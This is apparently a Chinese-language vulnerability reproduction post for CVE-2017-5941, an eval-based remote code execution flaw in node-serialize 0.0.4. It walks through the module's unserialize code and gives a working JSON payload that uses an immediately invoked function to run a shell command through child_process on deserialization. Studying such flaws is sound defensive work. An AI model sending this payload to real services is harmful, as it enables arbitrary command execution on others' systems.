漏洞简介

CVE-2017-5941 漏洞出现在node-serialize模块0.0.4版本当中 反序列化时执行eval并且参数可控 存在RCE

环境搭建

npm install node-serialize@0.0.4

漏洞复现

0x1

了解什么是IIFE:

IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。

IIFE一般写成下面的形式:

1
2
3
(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();

0x2

先看到序列化结果

1
2
3
4
5
6
7
var test = {
"rce": function(){console.log(require('child_process').execSync('ls /').toString())}
};

var srl = serialize.serialize(test);
console.log(srl);
// {"rce":"_$$ND_FUNC$$_function(){console.log(require('child_process').execSync('ls /').toString())}"}

0x3

unserialize反序列化代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
exports.unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
originObj = originObj || obj;

var circularTasks = [];
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object') {
obj[key] = exports.unserialize(obj[key], originObj);
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
obj[key] = obj[key].substring(CIRCULARFLAG.length);
circularTasks.push({obj: obj, key: key});
}
}
}
}

if (isIndex) {
circularTasks.forEach(function(task) {
task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
});
}
return obj;
};

可以看到17# eval('(' + obj[key].substring(FUNCFLAG.length) + ')');

这里FUNCFLAG=_$$ND_FUNC$$_ 也就是如果反序列化时如果识别为函数 则会直接拼接function部分 并eval 那么我们只要构造类似eval('(function(){console.log(2)})') 即可执行

0x4

在序列化结果末尾添上() 然后反序列化

1
2
3
4
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){console.log(require(\'child_process\').execSync(\'ls /\').toString())}()"}';
serialize.unserialize(payload);
// 成功执行ls /
⬆︎TOP